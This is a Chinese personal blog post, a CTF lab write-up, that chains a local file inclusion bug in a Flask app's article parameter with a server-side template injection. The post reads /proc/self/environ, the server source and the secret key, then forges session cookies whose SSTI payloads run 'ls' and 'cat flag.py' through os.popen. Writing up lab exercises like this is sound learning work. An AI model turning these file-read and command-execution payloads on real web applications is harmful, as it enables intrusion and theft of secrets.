Windy's little blog

一切生活中的杂七杂八, and I like CTF.

《从0到1:CTFer的成长之道》1.3“任意文件读取漏洞”第3题

边学习边记录。

首先推荐一篇介绍SSTI的好文章

按照官方指南,docker-compose下载并运行,访问本机5000商品,显示一个输入框。

图片.png

随便输入个123,显示N1 page页面,且123被输出了。

图片.png

在burpsuite中看一下,这是个post页面,其中的session是可以注入的,后面看到。

图片.png



点击article后,在bp中随便输入后,可以爆出路径。

图片.png

这个参数带有LFI漏洞。尝试不同输入,/proc/self/environ查看环境变量,爆出服务器路径为/home/sssssserver。

图片.png

Server.py可以得到源码,分析可以得到有SSTI漏洞,但是需要利用session。

#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

Key.py里可以得到key。

图片.png

查看session的结构。

图片.png

下面可以用flask-session-cookie-manager这个工具,按照session的结构来构造poc,列出文件后发现flag.py。

python3 ./flask_session_cookie_manager3.py encode -s Drmhze6EPcv0fN_81Bj-nA -t "{'n1code':'{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'ls\').read()}}'}"
.eJwdikEKgCAQAP_iZfUi2CXoKxKLlYRgbrh1Ev_e5m2YmaaK2-mIalGtAVjEPQdmRKGrEqKfVkF-t-GjFG387H6ZSnrGeGbaQpbkgRhWe9Mdi4bMYGyN4dCmd9U_y0Mk5Q.YDufKA.JRONCtbb16g4aANFgpfDVtbj83U

图片.png


最后就可以得到flag.py的内容了。

python3 ./flask_session_cookie_manager3.py encode -s Drmhze6EPcv0fN_81Bj-nA -t "{'n1code':'{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YDufjw.-RgfdQOPZBmP6z_izFmwxsk7mjA

图片.png

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0